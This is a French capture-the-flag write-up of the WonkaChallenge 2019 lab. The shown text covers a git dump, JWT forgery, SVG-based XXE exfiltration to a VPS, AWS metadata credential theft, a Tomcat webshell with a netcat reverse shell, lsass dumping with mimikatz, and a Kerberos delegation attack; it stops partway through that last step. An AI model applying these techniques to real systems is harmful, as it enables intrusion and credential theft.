Introduction
Cette année, lors de l’évènement LeHack 2019, nous avons assisté au lancement de la seconde édition du WonkaChallenge réalisé par Akerva. Lors de la première édition, nous pouvions nous confronter à un certain nombre d’épreuves, d’abord des challenges web puis de l’Active Directory. Les writeups officiels de l’édition de l’année dernière se trouvent ici :
- Williwonka.shop : https://akerva.com/blog/wonkachall-akerva-ndh-2018-write-up-part-1/
- Pramafil.com : https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-2/
- Compromission SI pramafil : https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-3/
- Compromission du domaine DEV : https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-4/
- Comme à la maison : https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-5/
Cette année, le WonkaChall a continué sur la même lancée et s’est étoffé d’une partie pwn et Linux à la fin. Cet article a pour but de présenter ma méthode de résolution des 13 épreuves. Akerva a aussi mis en ligne un writeup officiel, que vous pouvez retrouver ci-dessous :
- Part 1 - WEB : https://akerva.com/blog/wonkachall-akerva-lehack-2019-write-up-part-1-web/
- Part 2 - WINDOWS : https://akerva.com/blog/wonkachall-2-lehack-2019-write-up-part-2-windows/
- Part 3 - LINUX : https://akerva.com/blog/wonkachall-2-lehack-2019-write-up-part-3-linux/
Cet article va se découper en 13 parties, une pour chaque flag à trouver. Mais avant d’entrer dans le vif du sujet, ci-dessous un schéma du réseau complet (attention, petit spoil :)) :
Certaines épreuves nécessitent du Windows et d’autres du Linux, donc je switch entre ma Commando (Windows) et ma Kali (Linux). Ma configuration est plutôt simple, un hôte Windows 10 avec VMWare pro et les deux VM en NAT. Maintenant que tous les prérequis sont présentés, j’espère que la lecture vous sera agréable !
Le point d’entrée du challenge se trouve ici : https://willywonka.shop
I. Step 1 - Erreur de développeur
Let’s start easy, what are the latest changes made to the website ?
TL;DR
- Utiliser dirsearch et trouver le dossier
.git
; - Avec
GitTools -> dumper -> extractor
, récupérer le git et les anciens commits ; - Le premier flag se situe dans le fichier
.git/COMMIT_EDITMSG
.
I.1. Directory listing
La première chose que je fais en arrivant sur un site est lancer dirsearch
. La wordlist par défaut est vraiment pertinente et en général, ce qu’elle sort se transforme en quick win :
|
|
On tombe sur un dossier .git
. Même si ce genre de dossier affiche un beau “403 Forbidden”, les fichiers sont souvent accessibles :
Il nous est donc possible de récupérer le contenu des anciens commits grâce à GitTools
.
I.2. Git dumping
Pour obtenir l’intégralité du git
, on va d’abord utiliser le script gitdumper.sh
, puis extractor.sh
pour les différents commits.
|
|
Il ne reste plus qu’à aller chercher le flag :
|
|
I.3. Flag
16ECD0DF90036C3CA8D6E988BB1737DC332CD72A8F4E62C32E0F825EDD155009
Ressources
- maurosoria, dirsearch, GitHub : https://github.com/maurosoria/dirsearch
- internetwache, GitTools, GitHub : https://github.com/internetwache/GitTools
II. Step 2 - Une histoire de JWT
A ‘deadbeef’ ticket was submitted. Who’s the victim ?
TL;DR
- Faire de l’audit de code grâce au
.git
trouvé dans l’étape d’avant, trouver ledebug=1
dans la configuration de Symphony ; - Mettre la page
/reset
en mode debug afin de récupérer une stacktrace :https://willywonka.shop/reset?debug=1
; - Dans la stacktrace ,trouver un sous-domaine (
backend.willywonka.shop
) et un JSON Web Token (JWT) ; - Il existe une autre page
/reset
sur le backend. Grâce à cette page, on sait que le site attend un JWT dans le cookiebackend-session
; - L’analyse du JWT récupéré dans la stacktrace montre qu’il est protégé par une clé secrète (HS256) ;
- Le bruteforcer avec
rockyou
et trouver la clés3cr3t
; - Forger un nouveau token avec un utilisateur valide (
aas
) et une expiration lointaine, donnant la requête :https://backend.willywonka.shop/reset/jwt_craft
. La liste des comptes se trouve sur la page d’accueil du frontend ; - Une fois la mire d’authentification passée, il ne reste qu’à chercher le ticket
deadbeef
.
II.1. Directory listing
En enlevant les fichiers liés au .git
du dirsearch
précédent, il reste les pages suivantes :
|
|
II.2. Enumération d’utilisateur
Lors de l’utilisation de l’application, on se rend compte qu’il est possible de faire de l’énumération d’utilisateur :
Pour tester cette théorie, j’ai choisi une liste d’utilisateurs provenant du GitHub SecList . Elle est plutôt courte, donc rapide. L’intruder de Burp fait l’affaire pour ce test :
Si un utilisateur valide est soumit à l’application, alors cette application renvoie… Une erreur 500. À savoir aussi que ce bruteforce d’utilisateur ne sert à rien et m’a même fait perdre du temps par la suite. La liste des utilisateurs peut être trouvée sur l’index du site :
Les utilisateurs sont donc :
- n0wait
- qsec
- cybiere
- meywa
- itm4n
- aas
- xXx_d4rkR0xx0r_xXx
II.3. Ne pas oublier le .git
En regardant de plus près les sources obtenues dans le .git
de l’étape 1, on remarque qu’il y a une histoire de debug. Une variable /?debug=1
:
|
|
N’étant pas familier avec Symphony, j’ai perdu du temps à comprendre pourquoi cette variable ne fonctionnait pas sur la route principale. Finalement, en plaçant un utilisateur valide (tel que aas
) dans le formulaire de reset et en ajoutant le paramètre GET, le framework renvoie la stacktrace de l’application :
|
|
Cette trace divulgue des informations sensibles quant au SI de la cible :
|
|
II.4. Enumération web sur le backend
Nouveau site web, nouveau dirsearch
: celui-ci renvoie énormément de 403
. Après un filtrage de qualité, le scan affiche des résultats pertinents :
|
|
Les résultats sont relativement équivalents aux résultats du frontend. Cependant, on remarque que toutes les pages du backend sont redirigées vers une page de /login
. Cette page attend un JSON Web Token (JWT) :
Le token contient :
eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIk5vIHRva2VuIHByb3ZpZGVkIl19XX0.XSRiRw.QMJ9BsJX127QbsE-FgmcvQm-uBM
|
|
II.5. Craquer le secret du JWT
En rassemblant les différents éléments du test d’intrusion, on remarque rapidement que la stacktrace du frontend délivre un JWT et que le cookie du backend en attend un. L’hypothèse la plus plausible est de récupérer le secret, modifier le JWT et signer le nouveau JWT. Ci-dessous le token de l’utilisateur aas
:
|
|
|
|
Afin de créer un nouveau jeton fonctionnel, on modifie les éléments suivants : aud
et exp
. Le premier élément permet de sélectionner le bon domaine. Le second correspond à l’expiration du token, choisir une date suffisamment lointaine garantit la tranquillité. Modifier un JWT HS256
est relativement simple. Il existe plusieurs outils efficaces, comme jwt_tool
. En passant une wordlist pertinente en paramètre, cet outil peut bruteforce le secret du token :
|
|
Le secret a été cassé avec succès, il est possible de signer le nouveau jeton avec les paramètres suivants :
- aud : backend.willywonka.shop
- exp : 1999999999 -> Une date aux alentours de 2033
Avec ce nouveau JWT, il est possible de passer outre l’authentification et d’accéder ainsi au backend de l’application :
|
|
Conformément à l’énoncé, le flag se situe dans les données du ticket deadbeef
:
II.6. Flag
7ED33F3EB8E49C5E4BE6B8E2AE270E4018582B27E030D32DE4111DB585EE0318
Resources
- danielmiessler, SecLists - top-usernames-shortlist.txt, GitHub : https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/top-usernames-shortlist.txt
- Auth0, JSON Web Token debugger, jwt : https://jwt.io/
- ticarpi, jwt_tool, GitHub : https://github.com/ticarpi/jwt_tool
III. Step 3 - XXE Out-of-band
There’s a flag.txt at the server root
TL;DR
- Forger une XXE OOB via le fichier SVG ;
- Uploader le fichier SVG à l’adresse :
http://willywonka.shop/profile?filetype=image%2fsvg%2bxml
, ne pas oublier de changer le MIME type ; - Remplir le formulaire avec
aas
en nom de victime et de la donnée random ; - Récupérer l’id du ticket et y accéder dans le backend ;
- Cliquer sur
autoresize
pour déclencher la XXE OOB.
III.1. Reconnaissance
La plateforme du challenge propose un hint par épreuve. Celui de cette épreuve énonce clairement qu’il s’agit d’une XXE via SVG. Le MIME type du fichier à envoyer est défini dans un paramètre GET, sur la page submit
du frontend.
Il est possible pour un attaquant de changer ce MIME type et d’uploader ainsi un fichier SVG XML contenant la charge de la XXE. Lorsque le ticket est correctement uploadé, un identifiant est généré. Cet identifiant permet d’accéder au ticket dans le backend.
III.2. Explication de l’exploitation
Par défaut, l’URL du frontend accepte les images PNG : https://frontend.willywonka.shop/profile?filetype=image%2Fpng
Le mime-type est présent en paramètre GET, alors pour que l’application accepte les SVG XML il suffit de le changer : image%2fsvg%2bxml
Une XXE Out-of-band (OOB) est similaire à une XXE “classique”, ou “in-band”. Une OOB est une XXE à l’aveugle qui va charger un DTD distant. Les entités présentent dans ce DTD seront ensuite exécutées, permettant ainsi de forcer une extraction de données. Le schéma suivant devrait être plus parlant :
Lors de CTF passés, j’ai déjà évoqué les XXE OOB : Santhacklaus 2018. Dans cet article, le même serveur a été utilisé, mais il est aussi possible d’utiliser deux instances ngrok.
III.3. Exploitation
Ci-dessous les fichiers nous permettant de mener à bien l’exploitation :
- ro.svg : le SVG XML contenant l’appel des entités externes du fichier DTD.
|
|
- ro.dtd : charge contenant les entités permettant de cibler un fichier et d’exfiltrer son contenu.
|
|
Note : l’adresse IP utilisée (51.158.113.8) est un VPS temporaire de chez Scaleway avec un Python SimpleHTTPServer sur le port 80.
Lorsque l’environnement est correctement configuré, il ne reste qu’à uploader la charge via le formulaire sur le frontend :
En retour, le frontend nous renvoie l’identifiant du ticket : e6afec4a
. Le bouton Autoresize de l’application en backend appelle le parser XML vulnérable. C’est donc à ce moment que la charge est exécutée.
Note : on observe de l’activité sur les logs du Python SimpleHTTPServer.
Dans ce cas précis, ce n’est pas réellement une XXE OOB, car le retour s’affiche sur l’application (cf. Fig 13 - Ticket côté backend).
III.4. Flag
0D7D2DDEA2B25FF0D35D3E173BA2CDCB120D3554E124EBE2B147B79CF0007630
Resources
- alexbirsan, LFI and SSRF via XXE in emblem editor, HackerOne : https://hackerone.com/reports/347139
- Ian Muscat, Out-of-band XML External Entity (OOB-XXE), Acunetix : https://www.acunetix.com/blog/articles/band-xml-external-entity-oob-xxe/
IV. Step 4 - SSRF to KFC
Lets check this bucket !
TL;DR
- La XXE OOB nous permet de récupérer les identifiants S3 Bucket à l’adresse suivante :
http://169.254.169.254/latest/meta-data/iam/security-credentials/
- Les informations du bucket se situent ici :
http://169.254.169.254/latest/dynamic/instance-identity/document
- Initialiser les variables d’environnement avec les informations trouvées pour se connecter :
AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_DEFAULT_REGION, AWS_SESSION_TOKEN
- Lister le contenu du bucket :
aws s3 ls s3://willywonka-shop
- Récupérer le flag :
aws s3 cp s3://willywonka-shop/Flag-04.txt .
IV.1. Reconnaissance
Dû à la XXE OOB, il est possible de récupérer le contenu de certains fichiers. Cependant il faut connaitre son chemin et avoir les droits. En général, un attaquant essaiera de récupérer le fichier /etc/passwd
, afin de récupérer les utilisateurs du système. Parfois, il arrive que le .bash_history
de l’utilisateur courant soit accessible par tout le monde, c’est ce qu’il se passe dans notre cas :
|
|
Pour des raisons de lisibilité, j’ai tronqué le contenu du fichier pour ne garder que les quelques lignes intéressantes.
Revenons à notre XXE, jusqu’à présent seul le schéma file://
a été utilisé. Amazon utilise le schéma http://
pour récupérer les informations du bucket S3. Le .bash_history
trouvé précédemment nous donne une de ces requêtes : http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2toS3/
IV.2. Exploitation
En remplaçant file:///flag.txt
par http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2toS3/
dans la charge ro.dtd, il est possible de récupérer les informations de connexion.
|
|
|
|
Pour accéder au contenu d’un bucket S3, il faut différentes informations secrètes, mais aussi la zone du bucket :
|
|
|
|
Lorsque toutes ces informations sont réunies, en configurant les différentes variables d’environnement, il est possible de se connecter au bucket.
IV.3. Connexion au bucket s3
|
|
La connexion étant établie, nous sommes en mesure de récupérer son contenu :
|
|
En plus du flag de cette étape, il y a un fichier VPN wonka_internal.ovpn
dans le bucket, qui laisse présager un active directory.
IV.5. Flag
0AFBDBEA56D3B85BEBCA19D05088F53B61F372E2EBCDEFFCD34CECE8473DF528
Resources
- @christophetd, Abusing the AWS metadata service using SSRF vulnerabilities, Blog de Christophe Tafani-Dereeper : https://blog.christophetd.fr/abusing-aws-metadata-service-using-ssrf-vulnerabilities/
- notsosecure team, Exploiting SSRF in AWS Elastic Beanstalk, notsosecure : https://www.notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/
V. Step 5 - Tom(cat) and Jerry
Lets get the flag at the root of your first blood
TL;DR
- Se connecter au VPN récupéré dans le bucket ;
- Une nouvelle route est apparue :
172.16.42.0/24
; - Effectuer une énumération de ce nouveau réseau et remarquer une machine avec le port 8080 (tomcat) ouvert ;
- Utiliser
dirsearch
avec une wordlist tomcat (seclist), et trouver la page/host-manager/
; - Se connecter avec les identifiants
tomcat : tomcat
; - Monter un partage samba nommé
data
avec un webshell (cmd.war) à l’intérieur ; - Déployer le webshell en tant que nouvelle application via les
UNC path
; - Accéder au webshell à l’adresse :
http://maki-lab:8080/cmd/index.jsp?cmd=whoami
; - Utiliser netcat pour faire un reverse shell.
V.1. Reconnaissance
Lorsque le tunnel VPN est correctement monté, une nouvelle adresse apparait :
|
|
Il existe plusieurs techniques de reconnaissances afin de trouver tous les hôtes de ce réseau:
- Ping scan : rapide mais peu pertinent depuis que la plupart des hôtes Windows ne répondent pas au ping. De plus, le ping scan de nmap (-sn) fonctionne de la façon suivante : ping, vérification du port 80, vérification du port 443, ping ;
- Port scan : Retenir quelques ports connus et vérifier s’ils sont ouverts. Cette méthode est un peu plus lente, mais fonctionne relativement bien.
Note : Personnellement je fais un premier masscan avec environ 100 ports connus sur l’ensemble du réseau, puis un second masscan avec l’ensemble des ports TCP et UDP sur les hôtes trouvés. Enfin, un nmap spécifique sur les ports et hôtes trouvés. C’est la méthode la plus rapide que j’ai pu trouver jusqu’à présent.
CI-dessous le premier masscan :
|
|
Avec cette méthode, trois machines ressortent :
- 172.16.42.5
- 172.16.42.11
- 172.16.42.101
V.1.a. 172.16.42.5 (DC01-WW2)
|
|
Cette machine ressemble à un Domain Controller, et ce pour plusieurs raisons :
- Le port 53 (DNS) est caractéstique d’un AD
- Le port 3268 (LDAP) mentionne le domaine factory.lan
- Le nom d’hôte est plutôt explicite : DC01-WW2
V.1.b. 172.16.42.11
|
|
Intuitivement, cette machine ressemble au point d’entrée que nous cherchons. Les deux premières hypothèses à exploiter sont donc :
- Connexions anonymes sur le partage Samba ;
- Vulnérabilités et / ou identifiants par défaut sur le serveur 8080, tomcat étant une solution répandue sur ce port.
V.1.c. 172.16.42.101
|
|
Les trois premiers ports sont suspects et peuvent laisser penser à :
- Une connexion anonyme sur le RPC et SMB ;
- Un service “unknown” sur le port 5040.
V.2. Enumération du serveur web
Après quelques tentatives infructueuses sur les différents serveurs SMB, il est temps de se concentrer sur le serveur web : http://172.16.42.11:8080/
.
En naviguant sur le site, il est possible de trouver une cartographie du réseau : http://172.16.42.11:8080/infra.jsp
L’extension jsp nous conforte dans l’idée que nous sommes en présence d’un serveur tomcat, la page 404 la confirme. L’exécution de dirsearch avec une wordlist adaptée retourne des pages intéressantes :
|
|
D’ordinaire, la page manager
est la solution de facilité : avec des identifiants par défaut, il suffit de générer un webshell avec l’extension war et de l’uploader. Dans notre cas, cette page est … Indisponible :
Dans les résultats du dirsearch, il y a aussi la page /host-manager
. Cette page est protégée par une Basic authentification, heureusement les identifiants par défaut de Tomcat fonctionnent :
tomcat : tomcat
Certilience a écrit un très bon guide concernant cette attaque : https://www.certilience.fr/2019/03/variante-d-exploitation-dun-tomcat-host-manager/
V.3. Mise en place de l’exploitation
N’étant pas un grand fan de Metasploit, j’essaie de l’utiliser le moins possible, et ce surtout lorsque d’autres solutions existent. Une d’elle consiste à récupérer un webshell “standard”, plutôt que de générer une charge avec un meterpreter. En effet, une archive war consiste tout simplement en une archive zip avec une hiérarchie particulière :
|
|
La charge malveillante se situe dans le fichier index.jsp :
|
|
La charge ci-dessus provient du dépôt de tennc : https://github.com/tennc/webshell
L’archive war utilisée lors de l’exploitation peut être téléchargée ici : https://mega.nz/#!73RCVKDK!EPrPZ_JeWgZc2RWQq2OyErlJUGa-zAjf3fo8LbgtiCs
V.3.a. Nouvel hôte
En suivant les indications de Certilience, on ajoute une entrée dans le fichier /etc/hosts
de notre machine afin de lier l’IP du serveur tomcat à un hostname :
|
|
Cette étape sera utile lors du déploiement de la nouvelle application via les UNC path.
V.3.b. SMB server
Il est impératif de mettre en place un partage samba (smbserver.py) pour que le serveur Tomcat puisse récupérer notre application malveillante :
|
|
La commande ci-dessus ouvre un partage nommé data dans le dossier courant, où se trouve l’archive war.
V.4. Exploitation
Les préparatifs étant terminés, il est temps de déployer le webshell :
De l’activité est visible sur les logs du serveur SMB lors du déploiement de notre application. On peut finalement accéder à cette application avec l’URL suivante : http://maki-lab:8080/cmd/index.jsp
V.5. Reverse shell
Pour récupérer un shell plus ou moins interactif, il est possible de déposer le binaire netcat dans le partage data, créé pour l’exploitation précédente. Sous Windows, il est possible d’exécuter des binaires distants grâce aux UNC path.
V.5.a. Terminal 1 - Hôte
Le binaire rlwrap
(readline wrapper) sert d’historique de commandes, mais aussi d’interface entre le clavier local et distant. L’utiliser lors d’un reverse shell permet à l’attaquant de pouvoir utiliser les flèches de son clavier correctement et d’avoir l’historique des commandes de la session :
|
|
V.5.b. Application malveillante - Serveur tomcat
L’UNC path ci-dessous va exécuter le binaire en mémoire sur le serveur tomcat et établir ainsi une connexion sur le port 12345 :
|
|
Cette méthode permet de récupérer un accès shell plus ou moins interactif et plus ou moins stable.
V.5. Flag
8F30C4422EB4E5D9A2BF7EE44D5098D68314C35BE58E9919417B45FCBEF205C8
Resources
- SecList, Discovery Web-content Tomcat, GitHub : https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/tomcat.txt
- Pôle audit de Certilience, Variante d’exploitation d’un Apache Tomcat : host manager app vulnérable ?, Blog de Certilience : https://www.certilience.fr/2019/03/variante-d-exploitation-dun-tomcat-host-manager/
- Eternallybored, Download netcat Windows binaries; eternallybored.org : https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip
VI. Step 6 - Mimikatz you said ?
SHA256(adminServer’s passwd)
TL;DR
- Exécuter
procdump.exe
sur le serveur tomcat (SRV01-INTRANET) ; - Récupérer le minidump du processus
lsass.exe
; - Retrouver les identifiants stockés grâce à
mimikatz
en local :adminserver
:factory.lan\adminServer : #3LLe!!estOuL@Poulette
.
VI.1. Post exploitation
Lorsqu’un accès privilégié est obtenu sur un serveur, il est naturel d’essayer de récupérer des identifiants (mimikatz pour Windows ou swapdigger pour Linux). En l’occurrence, Mimikatz va chercher les identifiants dans la mémoire du processus de lsass.exe.
Une autre méthode, plus difficile à détecter pour de potentiels anti-virus, consiste à récupérer la mémoire de ce processus grâce à procdump.exe. Ce binaire est développé et signé par Microsoft et fait partie des Windows Sysinternals. Mimikatz est capable de charger un dump mémoire de ce processus en local et d’en extraire les identifiants.
VI.2. Getting lsass minidump
L’exécution de procdump.exe se fait comme pour netcat : via les UNC path.
|
|
Toujours avec les UNC path, on copie les fichiers sur un partage distant :
|
|
Le minidump est disponible ici : https://mega.nz/#!bj4h1ISB!17pQuX17K8gvMRlBZYsuphDtHhYE07G1x-nyT1OPGVY
VI.3. Récupération des mots de passe dans le minidump
Comme mentionné précédemment, Mimikatz est capable de lire un minidump en local. C’est à ce moment que CommandoVM entre en jeu.
|
|
Pour des soucis de lisibilité, la sortie de Mimikatz a été tronquée. Les identifiants récupérés sont :
factory.lan\adminServer : #3LLe!!estOuL@Poulette
VI.4. Flag
87950cf8267662a3b26460b38a07f0e2f203539676f4a88a7c572a596140ade4
Resources
- sevagas, swap_digger, GitHub : https://github.com/sevagas/swap_digger
- Microsoft, Windows Sysinternals, Documentation Microsoft : https://docs.microsoft.com/en-us/sysinternals/
- Sebastien Macke - @lanjelot, Dumping Windows Credentials, securusglobal : https://www.securusglobal.com/community/2013/12/20/dumping-windows-credentials/
- cyberarms, Grabbing Passwords from Memory using Procdump and Mimikatz, cyberarms : https://cyberarms.wordpress.com/2015/03/16/grabbing-passwords-from-memory-using-procdump-and-mimikatz/
- ired.team, Credential Access & Dumping, ired.team : https://ired.team/offensive-security/credential-access-and-credential-dumping
- Mark Russinovich and Andrew Richards, ProcDump v9.0, Documentation Microsoft : https://docs.microsoft.com/en-us/sysinternals/downloads/procdump
VII. Step 7 - Spreading love
Sharing is caring ;)
TL;DR
- Essayer d’accéder aux partages du réseau avec les identifiants récupérés ;
- Trouver le partage Users sur le serveur
172.16.42.5
; - Le parcourir et trouver les identifiants :
factory.lan\SvcJoinComputerToDom : QueStC3qU!esTpetItEtMarr0N?
.
VII.1. Reconnaissance
Dans les scans réalisés lors de l’étape 5 (cf. V.1. Reconnaissance), on remarque que toutes les machines ont le port SMB (445/tcp) ouvert. Les connexions anonymes ayant échoué, on peut réitérer les tests avec les identifiants de adminServer.
L’outil CrackMapExec (CME) est pratique lors de tests internes avec de nombreuses machines. Il permet par exemple de lister les partages de toute une plage d’IP :
|
|
L’adresse 172.16.42.11 ne répond pas sur son port SMB. Cependant, un partage Users est accessible en lecture sur 172.16.42.5 (DC01-WW2).
VII.2. Mount Users share
Il est possible de se connecter au partage via smbclient
:
|
|
Il est également possible de le monter en local. D’un point de vue personnel, je préfère cette méthode car je trouve qu’elle rend plus simple la navigation dans le partage :
|
|
Le fichier credentials.txt à côté du flag sera utile pour la suite, car il contient de nouveaux identifiants :
|
|
VII.3. Flag
5FFECA75938FA8E5D7FCB436451DA1BC4713DCD94DD6F57F2DF50E035039AB0C
Resources
- ShawnDEvans, SMBmap, GitHub : https://github.com/ShawnDEvans/smbmap
- Mickael Dorigny, Monter un partage CIFS sous Linux, it-connect : https://www.it-connect.fr/monter-un-partage-cifs-sous-linux/
VIII. Step 8 - Wagging the dogs
SHA256(NTLM(krbtgt))
TL;DR
- Faire un
bloodhound
avec le compte adminServer ; - Remarquer la relation AddAllowedToAct entre DC01-WW2.FACTORY.LAN et SvcJoinComputerToDom ;
- Grâce à la note précédente et à la relation trouvée, comprendre qu’il faut abuser du resources based constrained delegation ;
- Ajouter de la CommandoVM dans le domaine grâce au compte de service (SvcJoinComputerToDom) ;
- Créer un SPN et modifier sa valeur de
msDS-AllowedToActOnBehalfOfOtherIdentity
; - Abuser du mécanisme S4U (S4U2User et S4U2Proxy) avec Rubeus pour usurper l’identité de l’administrateur de domaine ;
- Lorsque Rubeus a forgé le ticket de l’administrateur, utiliser psexec sur le contrôleur de domaine ;
- Extraire le
ntds.dit
en utilisantvssadmin
sur le contrôleur de domaine ; - Copier le fichier généré sur une de nos machines et utiliser secretdumps.py afin de récupérer les différents hash, dont celui de
krbtgt
.
VIII.1. Reconnaissance
Cette étape est sûrement la plus difficile du challenge. À ce stade, il y a deux comptes disponibles : un compte utilisateur du domaine (adminServer) et un compte de service (SvcJoinComputerToDom).
La première idée consiste à faire un bloodhound avec le compte utilisateur du domaine. Bloodhound est un outil de cartographie d’Active Directory. Il permet de visualiser le domaine sous forme de graphes et de voir les différentes relations entre les objets du domaine (utilisateurs, machines, groupes …). De plus, il permet de distinguer les faiblesses du domaine et donne des informations pratiques pour les exploiter.
Note : Le dépôt GitHub est souvent mis à jour, embarquant de nouvelles fonctionnalités. Ne pas oublier de récupérer la dernière version avant de partir en test interne.
BloodHound permet de visualiser les données, mais le collecteur s’appelle SharpHound. Il se situe dans le même dépôt, dans le dossier “Ingestors”. Avant de l’utiliser, il faut ajouter l’adresse IP du contrôleur de domaine en tant que serveur DNS principal afin de pouvoir accéder au domaine :
Note : Comme présenté sur le schéma dans l’introduction, CommandoVM est configuré en NAT. La seconde IP correspond à l’IP de mon hôte sur l’interface virtuelle.
VIII.1.a BloodHound
Lorsque cette étape est réalisée, CommandoVM est en mesure de ping le domaine factory.lan
. SharpHound peut alors être executé à l’aide de la commande suivante :
|
|
Le fichier zip contenant les informations sera créé dans le dossier courant. En visualisant les données récupérées, deux éléments sont intéressants :
- Il n’y a qu’un seul et unique administrateur de domaine Administrator ;
- Une relation AddAllowedToAct est présente entre le contrôleur de domaine (DC01-WW2.FACTORY.LAN) et le compte (SvcJoinComputerToDom).
Cette relation est mentionnée sur le blog de CptJesus. Le blogpost montre l’introduction de nouvelles primitives d’attaques : AddAllowedToAct/AllowedToAct. Ces primitives sont utilisées pour identifier l’attaque Resource Based Constrained Delegation (RBCD).
VIII.1.b Resource Based Constrained Delegation - Explication
Pour reprendre ce qu’a dit Pixis sur son blog au sujet de cette attaque (cf. Ressource 4 : Resource-Based Constrained Delegation - Risques) :
Contrairement à la délégation complète, la délégation Resource-Based est un poil plus compliquée. L’idée générale est que ce sont les ressources de fin de chaîne qui décident si oui ou non un service peut s’authentifier auprès d’elles en tant qu’un autre utilisateur. Ces ressources ont donc une liste de comptes en lesquels elles ont confiance. Si une ressource fait confiance au compte WEBSERVER$, alors quand un utilisateur s’authentifiera auprès de WEBSERVER$, il pourra lui même s’authentifier auprès de cette ressource en tant que l’utilisateur.
La ressource finale, s’occupant de l’authentification, utilise une “whitelist”. Cette liste contient tous les comptes de confiance et est stockée dans un attribut appelé msDS-AllowedToActOnBehalfOfOtherIdentity
. Toujours en paraphrasant l’article de Pixis, dans le cas où un utilisateur s’authentifierait sans utiliser Kerberos, alors le compte de service censé “impersonate” l’utilisateur n’aurait pas de TGS. C’est à ce moment que le compte de service fait une demande de TGS au nom de l’utilisateur désirant se connecter au KDC. Ce mécanisme s’appelle le S4U2Self. Si le TGS de l’utilisateur est correctement reçu, il peut alors accéder à la ressource grâce au mécanisme S4U2Proxy.
Cependant, si un compte machine fait la demande d’un TGS sans l’attribut TrustedToAuthForDelegation
, alors le TGS reçu sera non transférable. Malgré tout, lors de la demande de TGS pour une ressource via S4U2Proxy, cette demande sera validée.
J’invite toutes les personnes intéressées par ce genre d’attaque à lire les articles de Pixis sur hackndo.com, SpecterOps, harmj0y et shenaniganslabs. Les différents liens sont disponibles dans les ressources.
Ayant tout ceci en tête, l’article de CptJesus semble plus clair. Ce même article mentionne deux conditions pour réussir ce genre d’attaque :
- Pouvoir réécrire l’attribut
msds-AllowedToActOnBehalfOfOtherIdentity
, contenant les comptes de confiance ; - Contrôler un utilisateur avec un ServicePrincipalName (SPN) mis en place.
Cette attaque va permettre d’accéder au contrôleur de domaine en tant qu’administrateur de domaine.
Dans notre cas, ces prérequis sont remplis. La relation que BloodHound a trouvé entre DC01-WW2.FACTORY.LAN et SvcJoinComputerToDom permet de réécrire l’attribut msds-AllowedToActOnBehalfOfOtherIdentity
. Quant au contrôle d’un utilisateur ayant un SPN configuré, il faudrait ajouter une machine au domaine. En se basant sur la note credentials.txt, on sait que le compte SvcJoinComputerToDom possède cette fonction.
VIII.2. Mise en place de l’exploitation
La reconnaissance étant terminée, le moment est venu d’exploiter cette vulnérabilité. Tout d’abord, il convient d’ajouter notre CommandoVM au domaine grâce au compte SvcJoinComputerToDom :
Note : Lorsque que l’ajout de la machine a été validé par le domaine, notre Windows nous demande de choisir un type de compte pour SvcJoinComputerToDom. Pour être sûr de ne pas être embêté, j’ai choisi de le mettre en administrateur local.
Pour s’assurer que CommandoVM est correctement relié au domaine, il suffit de lister les utilisateurs du domaine à l’aide de la commande suivante : net user /dom
Harmj0y a écrit un article détaillé sur cette attaque et a même fournit un script en powershell pour l’automatiser. Son script a besoin de deux librairies pour fonctionner : PowerView dans la branche dev et PowerMad.
VIII.2.a. Vérification des droits sur le domaine
Avant de commencer l’exploitation à proprement parler, il est préférable de vérifier si l’utilisateur SvcJoinComputerToDom possède les droits permettant l’exploitation de cette délégation :
|
|
L’utilisateur SvcJoinComputerToDom possède les droits WriteProperty sur le DC. L’une des conditions est vérifiée, il est possible de modifier l’attribut msds-allowedtoactonbehalfofotheridentity
.
VIII.2.b. Ajout d’une machine au domaine
Afin de remplir la seconde condition, il est possible d’ajouter une machine au domaine avec des SPN mis en place par défaut. La fonction New-MachineAccount de PowerMad permet cette action :
|
|
Note : Par défaut, un utilisateur ne peut ajouter que 10 machines dans le domaine, c’est le MachineAccountQuota. Dans notre cas, ce n’est pas important car nous disposons d’un compte spécifique pour l’ajout de machine dans le domaine.
VIII.2.c. Modification de msDS-AllowedToActOnBehalfOfOtherIdentity
Harmj0y explique dans son article que même lui n’a pas complètement compris la structure de msDS-AllowedToActOnBehalfOfOtherIdentity. Pour modifier cette structure, il a donc extrait le champ désiré et l’a converti au format Security Descriptor Definition Language (SDDL). Ce format est utilisé pour convertir les descripteurs de sécurité en chaînes de caractère. Il est alors possible de remplacer le SID par celui du SPN contrôlé. Une fois la structure correctement modifiée, il suffit de faire la conversion inverse et de l’enregistrer dans le champ msDS-AllowedToActOnBehalfOfOtherIdentity.
|
|
La figure 27 ci-dessus démontre que tous les prérequis de l’exploitation ont été mis en place avec succès.
VIII.3. Exploitation
Pour rappel, l’exploitation se fait en abusant des mécanismes S4U2Self et S4U2Proxy. Il existe deux outils pour abuser de ce type de délégation : Kekeo et Rubeus. Le premier est développé par GentilKiwi - aka Benjamin Delpy -, qui est aussi le développeur de Mimikatz. Le second est développé par harmj0y. Les deux outils sont assez similaires. Harmj0y a expliqué pourquoi il a développé Rubeus dans un article sur son blog.
Note : Par défaut, Rubeus n’est pas dans CommandoVM. Cependant,Visual Studio est installé, il suffit donc de compiler le projet disponible sur le GitHub.
Pour abuser de ces mécanismes, Rubeus prend différents paramètres en compte :
- /user : Le SPN que nous contrôlons ;
- /rc4 : Le mot de passe de ce compte au format RC4 ;
- /impersonateuser : L’utilisateur à usurper ;
- /msdsspn : Le service désiré sur le serveur désiré ;
- /ptt : Pass the ticket.
Le seul paramètre manquant est le mot de passe de attackersystem$ au format RC4. Heureusement, Rubeus nous permet de le récupérer :
|
|
Ayant tous les paramètres, il est temps d’abuser de ces mécansimes… Enfin presque. Pour des soucis de pérennité, Akerva a fait le choix de restaurer l’ensemble des machines à leur état d’origine toute les heures, causant ainsi l’erreur suivante :
